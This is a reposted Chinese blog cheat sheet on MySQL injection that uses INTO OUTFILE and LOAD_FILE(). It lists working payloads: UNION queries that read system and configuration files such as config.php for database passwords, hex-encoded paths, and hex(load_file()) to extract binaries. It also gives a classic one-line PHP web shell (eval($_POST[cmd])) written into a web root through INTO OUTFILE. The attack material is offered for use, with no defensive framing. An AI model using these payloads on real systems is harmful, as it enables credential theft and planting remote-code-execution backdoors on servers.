<转>Mysql注入中into outfile和load_file()总结

(1)outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\',那么基本没的玩了。

唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。

 (2)load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

 (3)load_file可以在union中作为一个字段来用。如union select 1,load_file('c:/boot.ini'),3,4 from ka_admin等。

 (4)load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1

 (5)load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车 换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file('c:/windows/notepad.exe')),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。

 (6)outfile一句话(经典):select '<?php eval($_POST[cmd])?>' into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'

或者从表中

select * from a into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'

 (7)关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。


转自:http://hi.baidu.com/r00ts/item/d410b50ea40971083a53ee8f

posted on 2015-10-28 17:24  hahahahahai12  阅读(1035)  评论(0)    收藏  举报

导航